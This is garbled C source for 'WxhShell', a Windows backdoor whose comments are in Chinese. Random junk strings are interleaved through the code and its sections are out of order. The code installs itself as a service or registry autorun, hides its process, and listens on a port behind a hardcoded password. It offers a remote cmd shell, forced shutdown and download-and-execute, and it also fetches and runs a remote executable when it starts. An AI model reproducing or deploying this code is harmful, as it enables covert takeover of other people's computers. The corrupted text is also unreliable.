NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SoU'r]k1x Pl&`&N; if (!NtQueryInformationProcess) return 0; yVQz<tX| YzW7;U
S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "UGj4^1f if(!hProcess) return 0; =^y{@[p`( 3H#/u! W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #r)1<}_e# p]z54 ~ CloseHandle(hProcess); /3Ix,7 DPQGh`J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U4l*;od if(hProcess==NULL) return 0; PJ'lZu8?x V,"iMo HMODULE hMod; 3(})uV char procName[255]; }9udo,RWu unsigned long cbNeeded; ?J@qg20z ak8^/1*@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LiD |4(3 LYg$M@ CloseHandle(hProcess); J:Y|O-S! emY5xZ@N if(strstr(procName,"services")) return 1; // 以服务启动 -s%-*K+,W = #2qX>? return 0; // 注册表启动 ^}/
E~Sg7\ } W$Q)aA7 ,9tbu!Pvq // 主模块 %_R|@cyD int StartWxhshell(LPSTR lpCmdLine) ^Xy$is3 { k.xv+^b9Q SOCKET wsl; @*O{*2 BOOL val=TRUE; R5&$h$[/ int port=0; ->2wrOH|H struct sockaddr_in door; %^?3s5PXD uj9tr`Zh
if(wscfg.ws_autoins) Install(); <Z:8~:@ pebx#}]p- port=atoi(lpCmdLine); -C-OG}XjI 9#T%bB"J if(port<=0) port=wscfg.ws_port; ?V)C9@bp 1;:t~Y WSADATA data; @23RjoK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gLSG:7m@ `TD%M`a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?I2k6%a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?WQd door.sin_family = AF_INET; Q@W|GOH3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); %f_OP$;fc door.sin_port = htons(port); UG"6RW @ AK
s39U' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Z8"uRTb0 closesocket(wsl); R(?<97 return 1; [mf7>M`p]@ } 7hF,gl5 EOPS? @ if(listen(wsl,2) == INVALID_SOCKET) { O`[iz/7m closesocket(wsl); 2VV[*QI return 1; ,KhMzE8_a } ZA_zKJ[[7 Wxhshell(wsl); AJ?}Hel[0 WSACleanup(); E/8u' /x:(SR2, return 0; [[?[? V , :
>wQwf } T7lj39pJq o(d_uJOB // 以NT服务方式启动 zJuRth)(, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4)odFq: { '/u:,ar DWORD status = 0; `gt&Y- DWORD specificError = 0xfffffff; or%gTVZ >1a\%G serviceStatus.dwServiceType = SERVICE_WIN32; @W1WReK]f serviceStatus.dwCurrentState = SERVICE_START_PENDING; tFvgvx\: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %EVV-n@ serviceStatus.dwWin32ExitCode = 0; I`"-$99|t1 serviceStatus.dwServiceSpecificExitCode = 0; "ji$@b_\? serviceStatus.dwCheckPoint = 0; jW1YTQ serviceStatus.dwWaitHint = 0; wj#J>C2] ]D?# \| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fzRyG-cEpj if (hServiceStatusHandle==0) return; @!":(@3[ |z#m status = GetLastError(); YV1a3 if (status!=NO_ERROR) gY>;|), { 65waq~# serviceStatus.dwCurrentState = SERVICE_STOPPED; uP(B<NfL:' serviceStatus.dwCheckPoint = 0; zr3q>]oma serviceStatus.dwWaitHint = 0; S)\JWXi~:J serviceStatus.dwWin32ExitCode = status; @[5_C?2 serviceStatus.dwServiceSpecificExitCode = specificError; Mm5U`mB SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}$\B^z+ return; z)&naw. } 4/HY[FT D%;wVnUw serviceStatus.dwCurrentState = SERVICE_RUNNING; !c4)pMd serviceStatus.dwCheckPoint = 0; sP6 ):h serviceStatus.dwWaitHint = 0; ZTh?^}/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wkg*J3O } SaR}\Up '0CXHjZN // 处理NT服务事件,比如:启动、停止 L,b|Iq VOID WINAPI NTServiceHandler(DWORD fdwControl) Ws^+7u { Evr2|4|O~ switch(fdwControl) to!mz\F { !cN?SGafZI case SERVICE_CONTROL_STOP: ;Na8_} serviceStatus.dwWin32ExitCode = 0; nW$A^ serviceStatus.dwCurrentState = SERVICE_STOPPED; Z]x5! serviceStatus.dwCheckPoint = 0; &Rt+LN0qB0 serviceStatus.dwWaitHint = 0; FE8+E\ U? { ){O1&|z- SetServiceStatus(hServiceStatusHandle, &serviceStatus); HUU >hq9 } qPXANx<^ return; zdLVxL>87 case SERVICE_CONTROL_PAUSE: I;kf
#nvao serviceStatus.dwCurrentState = SERVICE_PAUSED; UM4@H1 break; #$rf-E5g-K case SERVICE_CONTROL_CONTINUE: IwTr'}XIw serviceStatus.dwCurrentState = SERVICE_RUNNING; gro7*< break; rPiiC/T.` case SERVICE_CONTROL_INTERROGATE: YW8K
$W break; '?{0z!! }; /,1SE( SetServiceStatus(hServiceStatusHandle, &serviceStatus); hi ;WFyJTu } "xD}6(NL(r DL'd&;6 // 标准应用程序主函数 |`_ <@b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i(M(OR/4 { 9,S,NvSq BGB,Gb // 获取操作系统版本 xHEVR!&c4 OsIsNt=GetOsVer(); Q7CwQi GetModuleFileName(NULL,ExeFile,MAX_PATH); lq>*x=< eZ@Gu
// 从命令行安装 9nng}em>. if(strpbrk(lpCmdLine,"iI")) Install(); ?vZWUWa vQ:x%=] // 下载执行文件 S}zC3 if(wscfg.ws_downexe) { 8lU;y)Z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -d|BO[4j WinExec(wscfg.ws_filenam,SW_HIDE); SW,q}- } Hi]vHG( ojN`#%X if(!OsIsNt) { a);O3N/*I // 如果时win9x,隐藏进程并且设置为注册表启动 { A:LAAf[6 HideProc(); Q?*
nuE StartWxhshell(lpCmdLine); u{g]gA8s } :FoOQ[Q else <WM -@J(1 if(StartFromService()) x9xzm5 // 以服务方式启动 DgDSVFk
~ StartServiceCtrlDispatcher(DispatchTable); 2-8YSHlh else !(W[!% // 普通方式启动 beJZpg StartWxhshell(lpCmdLine); nnfY$&3A q$MHCq; return 0; |9+bSH9 } _n<
LVdE 96vj)ql -`-ACWeNV jv*Dg ( =========================================== h^%GE;N =RQ )$ % IM[54_I AU0$A403 Q8 -3RgAw ZvUp#8x(3 " P-[fHCg~ |d~B]65t #include <stdio.h> d>YmKTk" #include <string.h> G{F6 #include <windows.h> !c\7 #include <winsock2.h> GMEw #include <winsvc.h> `ifb<T #include <urlmon.h> :_MP'0QP ?O!]8k`1$ #pragma comment (lib, "Ws2_32.lib") I_:t}3s #pragma comment (lib, "urlmon.lib") :L]-'\y NU|qX {- #define MAX_USER 100 // 最大客户端连接数 _mw13jcN] #define BUF_SOCK 200 // sock buffer 1T!cc%ah #define KEY_BUFF 255 // 输入 buffer kXigX- 63.( j P1; #define REBOOT 0 // 重启 0o;k?4aP.c #define SHUTDOWN 1 // 关机 $X`bm* Mg#`t$u #define DEF_PORT 5000 // 监听端口 e%pu.q\gK %'$f ?y #define REG_LEN 16 // 注册表键长度 Z/xV\Ggx #define SVC_LEN 80 // NT服务名长度 /CIx$G SrSG{/{ // 从dll定义API 7Aqn[1{_O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,r@xPZPz:e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )r=9]0= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "PMO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :b"=KQ M#ZT2~+CT // wxhshell配置信息 :eSc; struct WSCFG { OSU{8. int ws_port; // 监听端口 V:(y*tFA char ws_passstr[REG_LEN]; // 口令 jh>N_cp int ws_autoins; // 安装标记, 1=yes 0=no 37#cx)p^f char ws_regname[REG_LEN]; // 注册表键名 ]n~yp5Nbr char ws_svcname[REG_LEN]; // 服务名 {!lNL[x char ws_svcdisp[SVC_LEN]; // 服务显示名 P_Z M'[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 2>g^4( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Fxku<z7| int ws_downexe; // 下载执行标记, 1=yes 0=no vxb@9eb!H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B
i'd5B5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :
-E, wc"9A~ }; SK?I. VXiui'/( // default Wxhshell configuration Hyf"iYv+ struct WSCFG wscfg={DEF_PORT, {JXf*IJ "xuhuanlingzhe", kl=xu3j 1, kPW BDpzN "Wxhshell", :RHm*vt "Wxhshell", I<sfN'FpT "WxhShell Service", TFo}\B7 "Wrsky Windows CmdShell Service", L,#^&9bHa# "Please Input Your Password: ", en%J!<&W{K 1, XWJ SLN(O "http://www.wrsky.com/wxhshell.exe", 2bkJ /u`i "Wxhshell.exe" VDG|>#[! }; -=5EbNPwG TM)u?t+[ // 消息定义模块 2_wvC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; su}&".e^ char *msg_ws_prompt="\n\r? for help\n\r#>"; _wmI(+_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HV8I nodi char *msg_ws_ext="\n\rExit."; }*h47t} char *msg_ws_end="\n\rQuit.";
P`tyBe#= char *msg_ws_boot="\n\rReboot..."; UAdz-)$ char *msg_ws_poff="\n\rShutdown..."; 9YAM#LBTWi char *msg_ws_down="\n\rSave to "; *-6? iM"asEU char *msg_ws_err="\n\rErr!"; D '<$ g char *msg_ws_ok="\n\rOK!"; Cpe#[mE Oc#>QZ3 char ExeFile[MAX_PATH]; ^}hJL7O' int nUser = 0; GtC7^Z&E HANDLE handles[MAX_USER]; r5[4h'f int OsIsNt; 6s5yyy=L%~ Nfg{,/O SERVICE_STATUS serviceStatus; c+~LpSQ SERVICE_STATUS_HANDLE hServiceStatusHandle; =x1Wii$` #,TELzUVE // 函数声明 76_<xUt{ int Install(void); N\'TR6_,b int Uninstall(void); !W~QT} int DownloadFile(char *sURL, SOCKET wsh); X{`1:c'x int Boot(int flag); 1&|
void HideProc(void); EsTB(9c? int GetOsVer(void); mzz$`M1 int Wxhshell(SOCKET wsl); f9a$$nb3` void TalkWithClient(void *cs); >otJF3zw int CmdShell(SOCKET sock); 7LfcF int StartFromService(void); iKhH ^V%j int StartWxhshell(LPSTR lpCmdLine); fCg@FHS&^ ';Nu&D#Ph VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); St+ "ih% VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^zgacn ?,>5[Ha^? // 数据结构和表定义 "T7>)fbu SERVICE_TABLE_ENTRY DispatchTable[] = NZ+7p{&AN { sDX/zF6t {wscfg.ws_svcname, NTServiceMain}, -R :X<eb {NULL, NULL} "b`7[ ;a }; ]
opto iy}xICt // 自我安装 Q(e{~
]* int Install(void) _$5@uL{n"^ { s%O Y<B@V2 char svExeFile[MAX_PATH]; 4vLw?_". HKEY key; /kRAt^4! strcpy(svExeFile,ExeFile); ^&NN]? Q ?^4 \_ // 如果是win9x系统,修改注册表设为自启动 t3a#%'Dv if(!OsIsNt) { e^8BV;+c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?2ItTrlB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )b9_C
O} RegCloseKey(key); r8,om^N6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @D]lgq[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yPN+W8}f RegCloseKey(key); C `6S}f, return 0; Mb.4J2F ? } Im+7<3Z } !b63ik15O~ } X8Fzs!L` else { toIYE*ocv= P$OUi!" // 如果是NT以上系统,安装为系统服务 v%nP*i9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $''UlWK if (schSCManager!=0) ?A&%Cwj { G|*G9nQ SC_HANDLE schService = CreateService 7&foEJ3q ( %J!NL0x_ schSCManager, ~)?|J wscfg.ws_svcname, nmg{%P wscfg.ws_svcdisp, K{2h9 ]VF SERVICE_ALL_ACCESS, ~j"3}wXc5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'fn$'CeM( SERVICE_AUTO_START, WqQU@sA SERVICE_ERROR_NORMAL, l `R KqT+ svExeFile, /NU103F yt NULL, 5gshKmt_ NULL, )~dOmfw%| NULL, PS}73Y# NULL, M)O[j}N NULL 96}eR, ); 1qZG`Vz if (schService!=0) 9@'4P { hl]S'yr CloseServiceHandle(schService); i?-Y CloseServiceHandle(schSCManager); F&az": strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mq'IkSt' strcat(svExeFile,wscfg.ws_svcname); vxVOcO9< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9go))&`PJL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oj@g2H5P RegCloseKey(key); oM-[B h]A return 0; O aaH$B } D5L{T+}Oi% } QNpuTZn#Q CloseServiceHandle(schSCManager); ;_N5>3C: } E}YIWTX } 9!#EwPD$# n[CoS return 1; M*`hDdS } 2(+P[( N1, r6
}_H?j // 自我卸载 X~L!e}Rz int Uninstall(void) ~OCZz$qA { Z&Pu8zG
/m HKEY key; lDN?|YG z_n\5. if(!OsIsNt) { D/:3RZF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f GarUV RegDeleteValue(key,wscfg.ws_regname); %b?uW]j: RegCloseKey(key); ="(>>C1- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MGaiTN^_< RegDeleteValue(key,wscfg.ws_regname); X=,6d9, RegCloseKey(key); .iT4- return 0; kOI
!~Qk } "dtlME{Bx } fRNP#pi0u } 0Oap39 else { -N# #w= J\A8qh8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /b%Q[
Ck_ if (schSCManager!=0) A ~&+F>Z { X"<|Z]w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @GeHWv if (schService!=0) :1_mfX { bV6V02RF if(DeleteService(schService)!=0) { 2Y+:,ud\ CloseServiceHandle(schService); ri=+(NKo- CloseServiceHandle(schSCManager); >rf5)Y~f return 0; wW5Yw
i } i/$SN-5}1 CloseServiceHandle(schService); ,YB1 y)x } C6^j#rl
CloseServiceHandle(schSCManager); 5[R?iSGL1 } l$M +.GB< } gtYRV*^q ab4LTF| return 1; !y*oF{RZ } U^ ?=
0+ .NnGVxc5* // 从指定url下载文件 1;&T^Gdj int DownloadFile(char *sURL, SOCKET wsh) tX?J@+ { vgThK9{m; HRESULT hr; 8Q(8b@ZO, char seps[]= "/"; n9]
~
char *token; P%)b+H{$h char *file; 38Efp$) char myURL[MAX_PATH]; X| <yq char myFILE[MAX_PATH]; i0ybJOa4 LNiS`o\ strcpy(myURL,sURL); L|\Diap token=strtok(myURL,seps); +)gB9DoK while(token!=NULL) O-!,Jm { I7G,`h+H file=token; xZ+]QDKC token=strtok(NULL,seps); @O/,a7Tt } T|bZ9_?+2 l &Z(K,6 GetCurrentDirectory(MAX_PATH,myFILE); C*rd;+1A strcat(myFILE, "\\"); <[hz?:G"$ strcat(myFILE, file); o^GC=Aca` send(wsh,myFILE,strlen(myFILE),0); XA3s],Rk send(wsh,"...",3,0); [hnK/4! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r\xXU~$9v if(hr==S_OK) KY+]RxX return 0; <'2u
a else [@2s&Ct; return 1; x+:zq<0| Kv?;cu! } @a(oB.i 784;]wdy\ // 系统电源模块 ?D=8{!R3 int Boot(int flag) gp/YjUH7k8 { n(R_#,Hs HANDLE hToken; w1i?#!| TOKEN_PRIVILEGES tkp; )eR$:uO x)R0F\_ if(OsIsNt) {
~6d5zI4\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); plXG[1;&G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jONjt(&N tkp.PrivilegeCount = 1; c[5@\j\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ML=z<u+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5-w: c> if(flag==REBOOT) { &t6Tcy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N-QCfDao return 0;
8 u:2,l } 61:9(*4~!F else { C3.=GRg~l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hdg<bZk: return 0; v[L[A3`"/ } P)1EA; } ?Ib} else { 6"%2,`Nu if(flag==REBOOT) { \h#9oPy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sHs g_6~ return 0; %wW'!p-< } Fu##'# else { -u~eZ?(!Ye if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /qXzOd return 0; z2~87fv+ } 0;cuX@A/a? } bNs[O22 ke6n/ h5` return 1; e5OVq
, } Q|//Z ; )|nkI // win9x进程隐藏模块 !*bdG(pK void HideProc(void) oHsP?%U { OjATSmZ@@ o? \Gm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UABbcNW if ( hKernel != NULL ) #(dhBEXPW; { Q>%E`h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o9+Q{|r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WZK
:.y FreeLibrary(hKernel); OG}KqG!n } mz-N{ >k @_Sp3nWdu return; ^ZVOql& } ~`[8"YUL vJThU$s- // 获取操作系统版本 ?*+1~m> int GetOsVer(void) 7@a\* |K6 { Wr#~GFg OSVERSIONINFO winfo; ?(Bl~?zD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eJaUmK: GetVersionEx(&winfo); !Bj^i
cR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y@ . b
4 return 1; FfSI n3 else r=\P!`{5 return 0; `oXg<tivU } DKHM\yt U'M|=I' // 客户端句柄模块 Bac| ;+L~L int Wxhshell(SOCKET wsl) T 9MzUV& { UM\}aq=, SOCKET wsh; # JFYws struct sockaddr_in client; GhiHA9. DWORD myID; nX 8B;*p6b g]4yAV<2 while(nUser<MAX_USER) M:(&n@e { )f[C[Rd int nSize=sizeof(client);
%mL5+d-oP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;-Ado8 if(wsh==INVALID_SOCKET) return 1; `u=oeM: 5"uNj<.V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k.Gl4
x if(handles[nUser]==0) 3P`WPph closesocket(wsh); 9tAE#A else B!iFmkCy nUser++; FE}s#n_Pd } kyu2)L2u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !mae^A1 B,MQ.|s[ return 0; P
eHW[\) } +Lhe, PJ;.31u // 关闭 socket 6kR
-rA void CloseIt(SOCKET wsh) Rv,Mu3\~#c { 1q`k}KMy closesocket(wsh); xyvND nUser--; j@CKO cn2 ExitThread(0); G g(NGT } yZ|+VXO R`
44'y| // 客户端请求句柄 ?(>k,[n void TalkWithClient(void *cs) 1wlVz#f. { ?61L|vr ka8$dfC SOCKET wsh=(SOCKET)cs; ajGcKyj8i char pwd[SVC_LEN]; FvAbh]/4 char cmd[KEY_BUFF]; s!aO*\[<h char chr[1]; 3l$E8?[Zwi int i,j; gY%OhYtF2 qL,ka while (nUser < MAX_USER) { ot0U-G( ovbEmb if(wscfg.ws_passstr) { +\srZ<67 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3jXR"@Z- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J ZA*{n2 //ZeroMemory(pwd,KEY_BUFF); R qnWtE i=0; e) ]RA?bF while(i<SVC_LEN) { pbPz$Y G~S))p // 设置超时 dDo6fP2 fd_set FdRead; i`R(7Z struct timeval TimeOut; ^K"ZJ6?+1 FD_ZERO(&FdRead); :q(D(mK FD_SET(wsh,&FdRead); B_!wutV@ TimeOut.tv_sec=8; 'OG{*TDPu TimeOut.tv_usec=0; JBvk)ogM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O%52V|m}{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3`xsK[ jmSt?M0.xV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z+ uL "PG[ pwd=chr[0]; Etw~* if(chr[0]==0xd || chr[0]==0xa) {
[A|(A$jl pwd=0; 4`$5
_}
j! break; 9uKOR7.zbo } e~3]/BL i++; iQu^|,tHEM } |^?`Q.|c$ <>VIDE // 如果是非法用户,关闭 socket Qg[heND if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b$dBV}0 L } 8>ESD}( xC'mPcU8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t?KUK>>w send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ::v;)VdX+* Z>X9J(= while(1) { uW )
\, 4{Q$!O> ZeroMemory(cmd,KEY_BUFF); U7jhV,gO4 kp'b>&9r // 自动支持客户端 telnet标准 F|6
nwvgq j=0; ";75 6'> while(j<KEY_BUFF) { JR])xPI` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,tau9>! cmd[j]=chr[0]; cD5w| rm?i if(chr[0]==0xa || chr[0]==0xd) { ES^NBI j5P cmd[j]=0; EN)YoVk break; KuIkul9^% } E2h(w_l j++; y2U/$%B)G } :DDO= y:~eU // 下载文件 G aha Z
F if(strstr(cmd,"http://")) { oN_S}o
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #,t2*tM if(DownloadFile(cmd,wsh)) ?Y%}(3y send(wsh,msg_ws_err,strlen(msg_ws_err),0); w8G7Jy else LFl2uV" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @8QFP3\1 } [SK2 x4 else { dv}8YH[" Ti hnSb switch(cmd[0]) { |Uc<;> l X";TZk // 帮助 _2wAaJvA case '?': { tX@0:RX% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]^Sd9ba break; th5
X?so } C_6GOpl // 安装 5P-K *C& case 'i': { $Vo/CZW7 if(Install()) (}9cD^F0n send(wsh,msg_ws_err,strlen(msg_ws_err),0); $$k7_rs else r5D jCV" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9=zP/Q break; z`c%?_EK } 0PYvey }[ // 卸载 s4x'f$r case 'r': { p^T&jE8])# if(Uninstall()) ,.~
W send(wsh,msg_ws_err,strlen(msg_ws_err),0); $5ZR[\$ else fx]\)0n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s;vWR^Ll break; ;7;zhJs1t } n/ui<&( // 显示 wxhshell 所在路径 {CW1t5$* case 'p': { 0eQ~#~j& char svExeFile[MAX_PATH]; 3"^a
rK^N strcpy(svExeFile,"\n\r"); M' &J_g strcat(svExeFile,ExeFile); jVLY!7Z4 send(wsh,svExeFile,strlen(svExeFile),0); ='7er.~\ break; K#_~
!C4L } :&xz5c`"04 // 重启 83mlZ1jQz case 'b': { NYWG#4D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kA?X^nj@ if(Boot(REBOOT)) Ll008.# send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~8D\_=s else { N!tpzHXw closesocket(wsh); k\sc }z8X ExitThread(0); H+S~ bzz } x, G6\QmA break; i}.{m Et } qzuQq94k // 关机 pWWL{@ J case 'd': { %4?SY82 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZC3tbhV if(Boot(SHUTDOWN)) <m?GJuQ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^?)F?n! else { aR`_h=a closesocket(wsh);
EJWOXxU ExitThread(0);
f$:7A0 } _<Hb(z break; Xjs21-t% } +AE&GU // 获取shell )2iM<-uB case 's': { A8=e?% CmdShell(wsh); y0/WA4, closesocket(wsh); r]8wOu-' ExitThread(0); Q%M'[L?[ break; + ")qi= } XkM s // 退出 @5{.K/s case 'x': { 1Z^`l6|2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4M;sD;3 CloseIt(wsh); tQNk=}VR7r break; Tns?mQ } @rnp- +kq // 离开 jxRF" GD case 'q': { 8@Egy%_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); /#S4espE closesocket(wsh); W&fW5af9 WSACleanup(); @4 zi]v exit(1); I-RdAVB/Ep break; D6&mf2'u } pFpQ\xc9$ } 6{JR 0 } k #1` Jngll // 提示信息 D8r>a"gx if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P<j4\zJ } &{-oA_@ } M/::`yJQu Hs:4I return; {:};(oz)f } @<@R=aqE %8}WX@SB // shell模块句柄 ua]\xBWx int CmdShell(SOCKET sock) (SgEt { %JP&ox|^& STARTUPINFO si; (cOND/S ZeroMemory(&si,sizeof(si)); `c qH}2s# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nx!qCgo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e67c:Z PROCESS_INFORMATION ProcessInfo; AijPN char cmdline[]="cmd"; Nz(c"3T; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VxUvvJ{-v return 0; uR06&SaA> } )@8'k]Glw. }<(
"0jC // 自身启动模式 q7 %=`l int StartFromService(void) b>hBct} { i Q]T+}nn_ typedef struct <Um1h:^ { E5,%J DWORD ExitStatus; s)=!2A Y DWORD PebBaseAddress; ^%K1R; DWORD AffinityMask; )0Y #-=.< DWORD BasePriority; TTA{#[=7 ULONG UniqueProcessId; d&PE,$XC ULONG InheritedFromUniqueProcessId; bqw/O`*wfN } PROCESS_BASIC_INFORMATION; w6WGFQ_ % SeRK7Q&_ PROCNTQSIP NtQueryInformationProcess; ,_"7|z wb ~6@c]: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D-TNFYYy2 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cM> G>Yzo ! /|0:QQi HANDLE hProcess; #hy5c,}> PROCESS_BASIC_INFORMATION pbi; ugIm:bg& Ct =E;v7} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Ep{|]:gw if(NULL == hInst ) return 0; ~>}dse tMD^$E"C g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U<ku_(2"# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -dc5D@4`#s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q{H!s_6iyv 2 Ft0C2 if (!NtQueryInformationProcess) return 0; XhlI|h-j ()JYN5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !^Z[z[ if(!hProcess) return 0; 3X-{2R/ 3 %KabyvOl) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xhq? 7P$3 7`u A CloseHandle(hProcess); X <ba|( `'G),{ j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $4$?M[ if(hProcess==NULL) return 0; h8iaJqqvJ ~,1-$#R HMODULE hMod; c"f-$^< char procName[255]; 7(A
G] unsigned long cbNeeded; I&'S2=s K^]?@oHO
